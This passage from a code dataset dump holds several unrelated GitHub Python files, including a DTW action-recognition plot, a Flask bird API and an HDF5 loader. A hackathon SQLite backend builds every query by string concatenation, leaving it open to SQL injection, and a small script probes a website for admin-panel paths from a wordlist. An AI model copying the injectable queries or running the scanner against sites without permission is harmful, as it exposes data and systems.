\":\")\n\n可以省一半多的输入。\n\"\"\"\n","repo_name":"DingJunyao/aha-algorithms-py","sub_path":"3/3_1_2_enumeration_2.py","file_name":"3_1_2_enumeration_2.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"31825283823","text":"import matplotlib.pyplot as plt\nfrom statistics import mean\nimport csv\nimport numpy as np\n\nwith open('./trajectory_x.csv') as f:\n    reader = csv.reader(f)\n    centers_x = [int(row[0]) for row in reader]\n\nwith open('./trajectory_x_test5.csv') as f:\n    reader = csv.reader(f)\n    centers_x_test = [int(row[0]) for row in reader]\n\ndef dist(x, y):\n    return (x - y)**2\n\n\ndef get_min(m0, m1, m2, i, j):\n    if m0 < m1:\n        if m0 < m2:\n            return i - 1, j, m0\n        else:\n            return i - 1, j - 1, m2\n    else:\n        if m1 < m2:\n            return i, j - 1, m1\n        else:\n            return i - 1, j - 1, m2\n\ndef partial_dtw(x, y):\n    Tx = len(x)\n    Ty = len(y)\n\n    C = np.zeros((Tx, Ty))\n    B = np.zeros((Tx, Ty, 2), int)\n\n    C[0, 0] = dist(x[0], y[0])\n    for i in range(Tx):\n        C[i, 0] = dist(x[i], y[0])\n        B[i, 0] = [0, 0]\n\n    for j in range(1, Ty):\n        C[0, j] = C[0, j - 1] + dist(x[0], y[j])\n        B[0, j] = [0, j - 1]\n\n    for i in range(1, Tx):\n        for j in range(1, Ty):\n            pi, pj, m = get_min(C[i - 1, j],\n                                C[i, j - 1],\n                                C[i - 1, j - 1],\n                                i, j)\n            C[i, j] = dist(x[i], y[j]) + m\n            B[i, j] = [pi, pj]\n    t_end = np.argmin(C[:,-1])\n    cost = C[t_end, -1]\n    \n    path = [[t_end, Ty - 1]]\n    i = t_end\n    j = Ty - 1\n\n    while (B[i, j][0] != 0 or B[i, j][1] != 0):\n        path.append(B[i, j])\n        i, j = B[i, j].astype(int)\n        \n    return np.array(path), cost\n\ndef spring(x, y, epsilon):\n    Tx = len(x)\n    Ty = len(y)\n\n    C = np.zeros((Tx, Ty))\n    B = np.zeros((Tx, Ty, 2), int)\n    S = np.zeros((Tx, Ty), int)\n\n    C[0, 0] = dist(x[0], y[0])\n\n    for j in range(1, Ty):\n        C[0, j] = C[0, j - 1] + dist(x[0], y[j])\n        B[0, j] = [0, j - 1]\n        S[0, j] = S[0, j - 1]\n        \n    for i in range(1, Tx):\n        C[i, 0] = dist(x[i], y[0])\n        B[i, 0] = [0, 0]\n        S[i, 0] = i\n        \n        for j in range(1, Ty):\n            pi, pj, m = get_min(C[i - 1, j],\n                                C[i, j - 1],\n                                C[i - 1, j - 1],\n                                i, j)\n            C[i, j] = dist(x[i], y[j]) + m\n            B[i, j] = [pi, pj]\n            S[i, j] = S[pi, pj]\n            \n        imin = np.argmin(C[:(i+1), -1])\n        dmin = C[imin, -1]\n        \n        if dmin > epsilon:\n            continue\n            \n        for j in range(1, Ty):\n            if (C[i,j] < dmin) and (S[i, j] < imin):\n                break\n        else:\n            path = [[imin, Ty - 1]]\n            temp_i = imin\n            temp_j = Ty - 1\n            \n            while (B[temp_i, temp_j][0] != 0 or B[temp_i, temp_j][1] != 0):\n                path.append(B[temp_i, temp_j])\n                temp_i, temp_j = B[temp_i, temp_j].astype(int)\n                \n            C[S <= imin] = 100000000\n            yield np.array(path), dmin\n\n\nfrom scipy.signal import savgol_filter\n\nquery = np.array(centers_x_test)\nquery_vel = np.diff(query)\nquery_vel = savgol_filter(query_vel, 11, 3)\nquery_acc = np.diff(query_vel)\ntemplate1 = np.array(centers_x[270:300])\ntemplate1_vel = np.diff(template1)\ntemplate1_vel = savgol_filter(template1_vel, 11, 3)\ntemplate2 = np.array(centers_x[470:529])\ntemplate2_vel = np.diff(template2)\ntemplate2_vel = savgol_filter(template2_vel, 17, 3)\ntemplate3 = np.array(centers_x[470:529])\ntemplate3_vel = np.diff(template3)\ntemplate3_vel = savgol_filter(template3_vel, 11, 3)\ntemplate4 = np.array(centers_x[1126:1165])\ntemplate4_vel = np.diff(template4)\ntemplate4_vel = savgol_filter(template4_vel, 11, 3)\n\n# plt.axvspan(122, 153, color = (0.05, 1., 0.01, .3))\n# plt.axvspan(248, 1282, color = (0.05, 1., 0.01, .3))\n# plt.axvspan(1375, 1678, color = (0.05, 1., 0.01, .3))\n\nplt.axvspan(206, 267, color = (0.05, 1., 0.01, .3))\nplt.axvspan(318, 340, color = (0.05, 1., 0.01, .3))\nplt.axvspan(390, 604, color = (0.05, 1., 0.01, .3))\nplt.axvspan(604, 834, color = (0.05, 1., 0.01, .3))\n\n# plt.axvspan(270, 300, color = (0.05, 0.01, 1., .3))\n# plt.axvspan(467, 520, color = (0.05, 0.01, 1., .3))\n# plt.axvspan(722, 729, color = (0.05, 0.01, 1., .3))\n# plt.axvspan(1126, 1165, color = (0.05, 0.01, 1., .3))\n\nX = query_vel\nY_ = [template1_vel, template2_vel, template3_vel, template4_vel]\nC_ = [\"C1\", \"C2\", \"C3\", \"C5\"]\nE_ = [180, 1800, 2300, 3800]\npathes =[]\n\nplt.plot(X)\nfor Y, C, E in zip(Y_, C_, E_):\n    # plt.plot(Y)\n    for path, cost in spring(X, Y, E):\n    #     # for line in path:\n    #     #     plt.plot(line, [X[line[0]], Y[line[1]]], linewidth=0.2, c=\"gray\")\n        plt.plot(path[:,0], X[path[:,0]], C=\"C1\")\n        pathes.extend(path[:,0])\nplt.title('Action Recognition by DTW')\nplt.legend(['Input(Inproper handwash)', 'Detected'], loc='upper right')\nplt.show()\n# print(pathes)\n\n\n","repo_name":"koki-asami/handwash_evaluator","sub_path":"plot_trajectory.py","file_name":"plot_trajectory.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"23871540238","text":"import sqlite3\nimport json\nfrom typing import Dict, Any\n\ndef val(par):\n    if isinstance(par, str):\n        return \"'\" + par + \"'\"\n    else:\n        return str(par)\n\n\ndef add_values(lst):\n    my_str = \"VALUES (\"\n    for s in lst:\n        my_str += val(s) + \", \"\n    return my_str[:-2] + \")\"\n\n\ndef add_user(name, email, type=\"b\", vegan_friendly=\"false\", second_hand=\"false\",\n             kosher=\"false\", eco_friendly=\"false\", social_business=\"false\",\n             made_in_israel=\"false\"):\n    \"\"\"\n    :param name: string\n    :param email: string\n    :param type: b/a/c\n    :param vegan_friendly: y/n\n    :param second_hand: y/n\n    :param kosher: y/n\n    :param eco_friendly: y/n\n    :param social_business: y/n\n    :param made_in_israel: y/n\n    :return:\n    \"\"\"\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    stmt = \"INSERT INTO users (name, email, type, vegan_friendly, \" \\\n           \"second_hand, kosher, eco_friendly, social_business,\" \\\n           \" made_in_israel) \" + add_values([name, email, type, vegan_friendly,\n                                             second_hand, kosher, eco_friendly,\n                                             social_business, made_in_israel])\n    cur.execute(stmt)\n    cur.execute(\"COMMIT\")\n\n\ndef add_store(store_name, email, description, city, category, image_url,\n              vegan_friendly, second_hand, kosher, eco_friendly,\n              social_business, made_in_israel):\n    \"\"\"\n    :param store_name: string\n    :param email: string\n    :param description: string\n    :param city: string\n    :param category: string\n    :param image_url: string\n    :param vegan_friendly: string(y/n)\n    :param second_hand: string(y/n)\n    :param kosher: string(y/n)\n    :param eco_friendly: string(y/n)\n    :param social_business: string(y/n)\n    :param made_in_israel: string(y/n)\n    :return: void\n    \"\"\"\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    stmt = \"INSERT INTO stores (store_name, email, description, city, \" \\\n           \"category, image_url, vegan_friendly, second_hand, \" \\\n           \"kosher,eco_friendly, social_business, made_in_israel) \" + \\\n           add_values([store_name, email, description, city, category,\n                       image_url, vegan_friendly, second_hand, kosher,\n                       eco_friendly, social_business, made_in_israel])\n    cur.execute(stmt)\n    cur.execute(\"COMMIT\")\n\n\ndef add_product(name, price, description, recommended, email):\n    \"\"\"\n    :param name: string\n    :param price: float\n    :param description: string\n    :param recommended: string(y/n)\n    :param email: string\n    :return:\n    \"\"\"\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    stmt = \"INSERT INTO products (name, price, description, recommended,\" \\\n           \" email) \" + add_values([name, price, description, recommended,\n                                    email])\n    cur.execute(stmt)\n    cur.execute(\"COMMIT\")\n\n\ndef get_store_products(email):\n    \"\"\"\n    :param email: the email of the store owner\n    :return: json file containing all the products of the store\n    \"\"\"\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    stmt = \"SELECT * FROM products WHERE email == \" + val(email)\n    prd = cur.execute(stmt).fetchall()\n    return json.dumps(prd)\n\n\ndef prod_rec_status(email, name, new_status):\n    \"\"\"\n    :param email: string, owner\n    :param name: string\n    :param new_status: y/n\n    :return:\n    \"\"\"\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    stmt = \"UPDATE products SET recommended = \" + val(new_status) + \\\n           \" WHERE email == \" + val(email) \\\n           + \"AND name == \" + val(name)\n    cur.execute(stmt)\n\n\ndef delete_product(email, name):\n    \"\"\"\n    :param email: string\n    :param name: string\n    :return:\n    \"\"\"\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    stmt = \"DELETE FROM products WHERE email == \" + val(email) \\\n           + \"AND name == \" + val(name)\n    cur.execute(stmt)\n    cur.execute(\"COMMIT\")\n\n\ndef main():\n    add_user(\"sason\", \"sasonhamadlik@gmail.com\")\n    print(cur.execute(\"SELECT * FROM users\").fetchall())\n\n\ndef stores_row_to_dict(row: list) -> dict:\n    return {\n        \"name\": row[0],\n        \"email\": row[1],\n        \"description\": row[2],\n        \"city\": row[3],\n        \"category\": row[4],\n        \"image_url\": row[5],\n        \"vegan_friendly\": row[6],\n        \"second_hand\": row[7],\n        \"kosher\": row[8],\n        \"eco_friendly\": row[9],\n        \"social_business\": row[10],\n        \"made_in_israel\": row[11]\n    }\n\n\ndef get_store_by_val(column: str, value: Any) -> dict:\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    sqlite_select_query = \"SELECT * FROM stores WHERE \" + column + \" == \" \\\n                          + val(value)\n    cur.execute(sqlite_select_query)\n    rows = cur.fetchall()\n    stores = [stores_row_to_dict(row) for row in rows]\n    return stores\n\n\ndef get_store_by_principles(filters: Dict[str, bool]):\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    query = \"SELECT * FROM stores\"\n    where_needed = any(v for v in filters.values())\n    if where_needed:\n        query += \" WHERE \"\n        for arg_name, should_filter in filters.items():\n            if should_filter:\n                query += f\"{arg_name} = true AND \"\n        query = query[:-5]\n    # print(f\"Will execute: {query}\")\n    cur.execute(query)\n    rows = cur.fetchall()\n    stores = [stores_row_to_dict(row) for row in rows]\n    return stores\n\n\ndef products_row_to_dict(row: list) -> dict:\n    return {\n        \"name\": row[0],\n        \"price\": row[1],\n        \"description\": row[2],\n        \"email\": row[3],\n        \"image_url\": row[4]\n    }\n\ndef get_user_by_email(email):\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    sqlite_select_query = \"SELECT * FROM users WHERE email == \" + val(email)\n    cur.execute(sqlite_select_query)\n    user = cur.fetchall()\n    return user\n\n\ndef get_store_by_email(email):\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    sqlite_select_query = \"SELECT * FROM stores WHERE email == \" + val(email)\n    cur.execute(sqlite_select_query)\n    rows = cur.fetchall()\n    stores = [stores_row_to_dict(row) for row in rows]\n    return stores\n\n\ndef get_products_by_email(email):\n    con = sqlite3.connect(\"data.db\")\n    cur = con.cursor()\n    sqlite_select_query = \"SELECT * FROM products WHERE email == \" + val(email)\n    cur.execute(sqlite_select_query)\n    rows = cur.fetchall()\n    products = [products_row_to_dict(row) for row in rows]\n    return products\n","repo_name":"NitzanBarzilay/HujiHackathon2021","sub_path":"backend_functions.py","file_name":"backend_functions.py","file_ext":"py","file_size_in_byte":6555,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"57"}
+{"seq_id":"70948349298","text":"import urllib.request\r\nurl_ = input(\"Enter website to scan:\")\r\nheaders = {\"Content-type\": \"application/x-www-form-urlencoded\",\"Accept\": \"text/plain\"}\r\nv = open(\"link.txt\" , \"r\" )\r\nwhile True:\r\n    panel = v.readline()      \r\n    if not panel:\r\n        break\r\n    url = \"https://\"+url_+\"/\"+panel\r\n    try :\r\n        f = urllib.request.urlopen(url)\r\n        #f.addheaders(headers)\r\n\r\n    except urllib.error.URLError as e :\r\n        print(\"An error occured \\n Status :\"+str(e.status)+\":\"+e.msg +\"\\n Try the following : \\n 1. Input a valid web address in a valid format e.g me.com \\n 2. Make sure you have an internet connection.\")\r\n    except urllib.error.HTTPError as e:\r\n        print(\"An error occured \\n Status :\"+str(e.status)+\":\"+e.status_code +\"\\n Try the following : \\n 1. Input a valid web address in a valid format e.g me.com \\n 2. Make sure you have an internet connection.\")\r\n    else:\r\n        print(\"Status : \" + str(f.msg) +\":\"+ str(f.code)) \r\n        print (\"Admin panel found: => \",url)\r\n        break\r\n","repo_name":"EbubeAkukwe/codes","sub_path":"adminpanelfinder/adminpanel_scanner.py","file_name":"adminpanel_scanner.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"38701644674","text":"# app.py\n\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\nfrom flask import (\n    Flask,\n    jsonify,\n    make_response,\n    render_template,\n    send_from_directory,\n    request,\n)\nfrom flask_migrate import Migrate\nfrom flask_restful import Api, Resource\nfrom flask_cors import CORS\nfrom models import db, Bird\n\napp = Flask(\n    __name__,\n    static_url_path=\"\",\n    static_folder=\"../client/dist\",\n    template_folder=\"../client/dist\",\n)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = os.environ.get(\"DATABASE_URI\")\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.json.compact = False\n\nmigrate = Migrate(app, db)\nCORS(app)\ndb.init_app(app)\n\napi = Api(app)\n\n\n@app.route(\"/\")\n@app.route(\"/<int:id>\")\ndef index(id=0):\n    return send_from_directory(\"../client/dist\", \"index.html\")\n\n\n@app.route(\"/<path:path>\")\ndef home(path):\n    return send_from_directory(\"../client/dist\", path)\n\n\nclass Birds(Resource):\n    def get(self):\n        birds = [bird.to_dict() for bird in Bird.query.all()]\n        return make_response(jsonify(birds), 200)\n\n    def post(self):\n        data = request.get_json()\n\n        new_bird = Bird(\n            name=data[\"name\"],\n            species=data[\"species\"],\n            image=data[\"image\"],\n        )\n\n        db.session.add(new_bird)\n        db.session.commit()\n\n        return make_response(new_bird.to_dict(), 201)\n\n\napi.add_resource(Birds, \"/birds\")\n\n\nclass BirdByID(Resource):\n    def get(self, id):\n        bird = Bird.query.filter_by(id=id).first().to_dict()\n        return make_response(jsonify(bird), 200)\n\n    def patch(self, id):\n        data = request.get_json()\n\n        bird = Bird.query.filter_by(id=id).first()\n\n        for attr in data:\n            setattr(bird, attr, data[attr])\n\n        db.session.add(bird)\n        db.session.commit()\n\n        return make_response(bird.to_dict(), 200)\n\n    def delete(self, id):\n        bird = Bird.query.filter_by(id=id).first()\n        db.session.delete(bird)\n        db.session.commit()\n\n        return make_response(\"\", 204)\n\n\napi.add_resource(BirdByID, \"/birds/<int:id>\")\n","repo_name":"labordude/vite-flask","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"31161068955","text":"import numpy as np\nimport h5py\nimport os.path as P\nfrom copy import deepcopy\nfrom torch.utils.data import Dataset\nfrom typing import Dict, List\n\nfrom ..config import Cfg\nfrom ..data_augmentation import DataAugment\n\n\ndef create_generic_hdf_datasets(dataset_cfg: Cfg.Dict, file_path=None, seed=1234,\n                                data_augmentations: Dict[str,DataAugment]=None):\n    from .datasets import DEFAULT_DATA_PATH\n    if file_path is None:\n        file_path = DEFAULT_DATA_PATH\n    hdf_path = P.join(file_path, dataset_cfg.cfg_path)\n\n    train = create_generic_hdf_dataset(dataset_cfg, 'task', hdf_path, seed, data_augmentations)\n    valid = create_generic_hdf_dataset(dataset_cfg, 'validation', hdf_path, seed, data_augmentations)\n    test = create_generic_hdf_dataset(dataset_cfg, 'testing', hdf_path, seed, data_augmentations)\n    return train, valid, test\n\n\ndef create_generic_hdf_dataset(datasets_cfg: Cfg.Dict, prefix: str, hdf_path: str,\n                               seed, data_augmentations: Dict[str, DataAugment]):\n    cfg = Cfg.Dict.from_dict({\n        'dataset': 'all',\n        'augment': False,\n        'preload-in-RAM': prefix == 'validation',\n    })\n    if prefix in datasets_cfg:\n        cfg.update(datasets_cfg[prefix])\n    datasets = cfg.dataset\n\n    fields_mapping = datasets_cfg.fields\n    hdf_vatiables = set()\n    for m in fields_mapping.values():\n        hdf_vatiables.update(extract_variable_from_expr(m))\n\n    if cfg['augment'] is False:\n        data_augmentations = None\n        factor = 1\n        augmented_fields = None\n    elif isinstance(cfg.augment, (Cfg.Dict, dict)):\n        unkown_fields = {k for k in cfg.augment.fields.keys() if k not in fields_mapping}\n        if unkown_fields:\n            raise ValueError(f'Unkown data field(s) {\", \".join(unkown_fields)} in data augmentation specs of '\n                             f'the {prefix} dataset using file {hdf_path}.')\n        augmentation_names = cfg.augment.get('data-augmentations', 'default')\n        if isinstance(augmentation_names, str):\n            augmentation_names = [augmentation_names]\n        unkown_data_augmentation = {a for a in augmentation_names if a not in data_augmentations}\n        if unkown_data_augmentation:\n            raise ValueError(f'Unkown data field(s) {\", \".join(unkown_data_augmentation)} in data augmentation specs of '\n                             f'the {prefix} dataset using file {hdf_path}.')\n        data_augmentations = [data_augmentations[a] for a in augmentation_names]\n        factor = cfg.augment.get('factor', 1)\n        augmented_fields = cfg.augment.fields\n    else:\n        raise ValueError(f'Invalid augment value for dataset {prefix} using file {hdf_path}.')\n\n    ## For backward compatibility.\n    PREFIX_FALLBACKS = {'task': 'train', 'validation': 'val', 'testing': 'test'}\n\n    ## Check dataset structure\n    with h5py.File(hdf_path, 'r') as hf:\n        if prefix in hf:\n            prefix_node = hf[prefix]\n        elif PREFIX_FALLBACKS[prefix] in hf:\n            prefix = PREFIX_FALLBACKS[prefix]\n            prefix_node = hf[prefix]\n        else:\n            raise ValueError(f'Unkown prefix /{prefix}/ in hdf file: {hdf_path}')\n\n        if datasets == 'same':\n            if prefix in ('train', 'task'):\n                raise ValueError('The flag \"same\" for dataset specification is only allowed for validation and test.')\n            datasets = datasets_cfg.training.dataset\n        if datasets == 'all':\n            if any(var in prefix_node for var in hdf_vatiables):\n                datasets = {'': None}\n            else:\n                datasets = {d: None for d in prefix_node.keys()}\n        elif isinstance(datasets, str):\n            if datasets in prefix_node:\n                datasets = {datasets: None}\n            else:\n                datasets = {'': datasets}\n        elif isinstance(datasets, (list, tuple)):\n            infos = datasets\n            datasets = {}\n            for info in infos:\n                if isinstance(info, dict):\n                    datasets.update(info)\n                elif isinstance(info, str):\n                    datasets[info] = None\n        else:\n            raise ValueError(f'Invalid dataset value: {datasets}.\\n'\n                             f'Should be either \"all\", or a dataset name ')\n\n        missing_datasets = [n for n in datasets if n not in prefix_node]\n        if missing_datasets:\n            raise ValueError(f'Missing dataset {[prefix_node.name+\"/\"+n for n in missing_datasets]}'\n                             f'in hdf file: {hdf_path}.')\n        for dataset_name in datasets:\n            check_dataset_exist(prefix_node[dataset_name], hdf_vatiables, hdf_path)\n\n        probed_var = next(iter(hdf_vatiables))\n        datasets = [DatasetInfos.from_dataset_infos(prefix_node if path == '' else prefix_node[path],\n                                                    probed_var=probed_var, info=infos, rng=seed)\n                    for path, infos in datasets.items()]\n\n    generic_hrf_kwargs = dict(path=hdf_path, mapping=fields_mapping, prefix=prefix, cache=cfg['preload-in-RAM'],\n                              factor=factor, data_augmentations=data_augmentations, augmented_fields=augmented_fields)\n    if prefix in ('testing', 'test'):\n        prefix = f'/{prefix}/'\n        return {'testing' if d.path == prefix else d.path[len(prefix):]:\n                    GenericHRF([d], **generic_hrf_kwargs) for d in datasets}\n    return GenericHRF(datasets, **generic_hrf_kwargs)\n\n\ndef check_dataset_exist(hf_node, data_names, hdf_path):\n    missing_data_names = {n for n in data_names if n not in hf_node}\n    if missing_data_names:\n        raise ValueError(f'The following dataset were not found in the hdf archive \"{hdf_path}:{hf_node.name}\":\\n'\n                         f' {missing_data_names}')\n\n    invalid_data_names = {n for n in data_names if not isinstance(hf_node[n], h5py.Dataset)}\n    if invalid_data_names:\n        raise ValueError(f'Thw following node are not dataset in the hdf archive \"{hdf_path}:{hf_node.name}\":\\n'\n                         f' {invalid_data_names}')\n\n\ndef extract_variable_from_expr(expr):\n    if '{{' not in expr and '}}' not in expr:\n        return {expr}\n    else:\n        vars = {_.split('}}')[0].strip() for _ in expr.split('{{')}\n        if '' in vars:\n            vars.remove('')\n        return vars\n\n\nclass DatasetInfos:\n    def __init__(self, path: str, mapping: List[int] = None, slice: slice = None, length: int = None):\n        self.path = path\n        self.mapping = self.slice = None\n        if mapping is not None:\n            self.mapping = mapping\n            self.length = len(mapping)\n        elif slice is not None:\n            self.slice = slice\n            self.length = (slice.stop-slice.start)//slice.step\n        else:\n            self.length = length\n\n    def map_index(self, i):\n        if self.mapping is not None:\n            return self.mapping[i]\n        elif self.slice is not None:\n            return self.slice.start + i*self.slice.step\n        else:\n            return i % self.length\n\n    def iter_index(self):\n        if self.mapping is not None:\n            return self.mapping\n        elif self.slice is not None:\n            return range(self.slice.start, self.slice.stop, self.slice.step)\n        else:\n            return range(self.length)\n\n    @property\n    def idxs(self):\n        if self.mapping is not None:\n            return self.mapping\n        elif self.slice is not None:\n            return self.slice\n        else:\n            return slice(self.length)\n\n    @staticmethod\n    def from_dataset_infos(node: h5py.Group, probed_var: str, info=None, rng: int=1234):\n        probed_node = node[probed_var]\n        max_length = probed_node.shape[0]\n        path = node.name\n        if isinstance(info, (list, tuple)):\n            idxs = list(int(round(_ % max_length)) for _ in info)\n            return DatasetInfos(path, mapping=idxs)\n        if info is None:\n            return DatasetInfos(path, length=max_length)\n        elif isinstance(info, str):\n            def to_float(s):\n                try:\n                    s = s.strip()\n                    if s.endswith('%'):\n                        s = int(round(float(s[:-1].strip())/100 * max_length))\n                    return float(s)\n                except ValueError:\n                    return None\n\n            proportion = to_float(info)\n            if proportion is None:\n                info = slice(*(to_float(_) for _ in info.split(':')))\n            else:\n                info = proportion\n\n        if isinstance(info, (float, int)):\n            rng = np.random.default_rng(seed=rng)\n            idxs = np.arange(max_length)\n            rng.shuffle(idxs)\n            idxs = list(int(_) for _ in idxs)\n\n            if info != 0 and -1 < info < 1:\n                length = int(round(max_length*info))\n            else:\n                length = int(round(info) if info>=0 else round(info) % max_length)\n            return DatasetInfos(path, mapping=idxs[:length])\n\n        elif isinstance(info, slice):\n            start, stop, step = info.start, info.stop, info.step\n            if start is None:\n                start = 0\n            elif start != 0 and -1 < start < 1:\n                start = int(round(start * max_length))\n            start = int(round(start % max_length))\n\n            if stop is None:\n                stop = max_length\n            elif stop != 0 and -1 < stop < 1:\n                stop = int(round(stop*max_length))\n            stop = int(round(stop % max_length))\n            if stop == 0:\n                stop = max_length\n\n            step = 1 if step is None else int(round(step))\n\n            return DatasetInfos(path, slice=slice(start % max_length, stop % max_length, step))\n\n\nclass GenericHRF(Dataset):\n    def __init__(self, datasets: List[DatasetInfos], path: str, mapping: Dict[str, str], prefix: str = None,\n                 cache=False,\n                 factor=1, data_augmentations: List[DataAugment] = None, augmented_fields: Dict[str, str]=None):\n        super(GenericHRF, self).__init__()\n\n        self.datasets = datasets\n        self.path = path\n        self.prefix = prefix\n        self._field2variables = {field: extract_variable_from_expr(expr) for field, expr in mapping.items()}\n        self._variables = {_ for v in self._field2variables.values() for _ in v}\n        self._variables = {var: f'VAR{i}' for i, var in enumerate(self._variables)}\n        self.mapping = deepcopy(mapping)\n        for var, name in self._variables.items():\n            for field in self.mapping.keys():\n                if self.mapping[field].strip() == var:\n                    self.mapping[field] = name\n                else:\n                    self.mapping[field] = self.mapping[field].replace(\"{{\"+var+\"}}\", name)\n\n        self.cache = cache\n        self.factor = factor\n\n        self.data_augmentations = data_augmentations\n        if data_augmentations:\n            self.augmented_fields = augmented_fields\n            augment_mapping = {}\n            for field, type in augmented_fields.items():\n                augmentable_data_types = data_augmentations[0].augmentable_data_types()\n                if type not in augmentable_data_types:\n                    if type+'s' in data_augmentations[0].augmentable_data_types():\n                        type = type+'s'\n                    else:\n                        raise TypeError(f'Unkown data-augmentation type {type} for field {field}.')\n                if type not in augment_mapping:\n                    augment_mapping[type] = set()\n                augment_mapping[type].add(field)\n\n            self._augmentations = [da.compile(**augment_mapping,\n                                              transpose_input=i == 0,   # Transpose if first\n                                              to_torch=i == len(data_augmentations)-1)  # Convert to torch if last\n                                   for i, da in enumerate(data_augmentations)]\n        else:\n            self.augmented_fields = {}\n            self._augmentations = []\n\n        self._datasets_length = []\n        if cache:\n            self._cache = {alias: [] for alias in self._variables.values()}\n        else:\n            self._hdf_file = None\n\n        with h5py.File(path, 'r') as f:\n            for infos in datasets:\n                self._datasets_length.append(infos.length)\n\n                if cache:\n                    for var, alias in self._variables.items():\n                        self._cache[alias] += [np.stack([f[infos.path][var][i] for i in infos.iter_index()])]\n\n    def __len__(self):\n        return sum(self._datasets_length) * self.factor\n\n    def open(self):\n        if self.cache:\n            return False\n        if self._hdf_file is None:\n            self._hdf_file = h5py.File(self.path, mode='r')\n        return self._hdf_file\n\n    def close(self):\n        if self.cache or self._hdf_file is None:\n            return\n        self._hdf_file.close()\n        self._hdf_file = None\n\n    def __del__(self):\n        self.close()\n\n    def __enter__(self):\n        self.open()\n        return self\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        self.close()\n\n    def dataset_idx(self, index):\n        start_idx = 0\n        for dataset_id, length in enumerate(self._datasets_length):\n            if index-start_idx < length*self.factor:\n                return dataset_id, (index-start_idx)//self.factor\n\n            start_idx += length*self.factor\n\n    def hdf_get_vars(self, index):\n        dataset_idx, i = self.dataset_idx(index)\n        if self.cache:\n            return {k: v[dataset_idx][i] for k, v in self._cache.items()}\n        else:\n            dataset_infos = self.datasets[dataset_idx]\n            f = self.open()\n            root_node = f[dataset_infos.path]\n            return {alias: root_node[var][dataset_infos.map_index(i)] for var, alias in self._variables.items()}\n\n    def __getitem__(self, i):\n        vars = self.hdf_get_vars(i)\n        try:\n            fields = {f: vars[expr] if expr in vars else\n            eval(expr, {'np': np}, vars) for f, expr in self.mapping.items()}\n        except NameError as e:\n            raise NameError(repr(e) + f'\\n VARS: {list(vars.keys())}, map: {self._variables}.')\n        for aug in self._augmentations:\n            augmented_fields = {f: fields[f] for f in self.augmented_fields.keys()}\n            fields.update(aug(**augmented_fields))\n\n        return fields\n","repo_name":"gabriel-lepetitaimon/nn-template","sub_path":"lib/nntemplate/datasets/hdf_py.py","file_name":"hdf_py.py","file_ext":"py","file_size_in_byte":14455,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"36565574925","text":"import argparse\nimport json\nimport os\nimport sys\nimport shutil\n\nfrom jupyter_client.kernelspec import KernelSpecManager\nfrom IPython.utils.tempdir import TemporaryDirectory\n\ndef kernel_json(display_name, coqtop_executable, coqtop_args):\n    argv = [sys.executable, \"-m\", \"coq_jupyter\", \"-f\", \"{connection_file}\"]\n    if coqtop_executable is not None:\n        argv.append('--CoqKernel.coqtop_executable=\"{}\"'.format(coqtop_executable))\n    if coqtop_args is not None:\n        argv.append('--CoqKernel.coqtop_args=\"{}\"'.format(coqtop_args))\n\n    return {\n        \"argv\": argv,\n        \"display_name\": display_name,\n        \"language\": \"coq\",\n    }\n\ndef install_kernel_spec(user, prefix, kernel_name, kernel_display_name, coqtop_executable, coqtop_args):\n    with TemporaryDirectory() as td:\n        os.chmod(td, 0o755) # Starts off as 700, not user readable\n\n        with open(os.path.join(td, 'kernel.json'), 'w') as f:\n            json.dump(kernel_json(kernel_display_name, coqtop_executable, coqtop_args), f, sort_keys=True)\n\n        shutil.copyfile(\n            os.path.join(os.path.dirname(__file__), \"kernel.js\"),\n            os.path.join(td, 'kernel.js')\n        )\n\n        print('Installing Jupyter kernel spec')\n        KernelSpecManager().install_kernel_spec(td, kernel_name, user=user, replace=True, prefix=prefix)\n\ndef _is_root():\n    try:\n        return os.geteuid() == 0\n    except AttributeError:\n        return False # assume not an admin on non-Unix platforms\n\ndef main(argv=None):\n    ap = argparse.ArgumentParser()\n    ap.add_argument('--user', action='store_true', help=\"Install to the per-user kernels registry. Default if not root.\")\n    ap.add_argument('--sys-prefix', action='store_true', help=\"Install to sys.prefix (e.g. a virtualenv or conda env)\")\n    ap.add_argument('--prefix', help=\"Install to the given prefix. Kernelspec will be installed in {PREFIX}/share/jupyter/kernels/\")\n    ap.add_argument('--kernel-name', help=\"Kernelspec name. Default is 'coq'.\")\n    ap.add_argument('--kernel-display-name', help=\"Kernelspec name that will be used in UI. Default is 'Coq'.\")\n    ap.add_argument('--coqtop-executable', help=\"coqidetop executable (coqtop for coq versions before 8.9.0).\")\n    ap.add_argument('--coqtop-args', help=\"Arguments to add when launching coqtop.\")\n\n    args = ap.parse_args(argv)\n\n    if args.sys_prefix:\n        args.prefix = sys.prefix\n    if not args.prefix and not _is_root():\n        args.user = True\n    if not args.kernel_name:\n        args.kernel_name = 'coq'\n    if not args.kernel_display_name:\n        args.kernel_display_name = 'Coq'\n\n    install_kernel_spec(\n        args.user,\n        args.prefix,\n        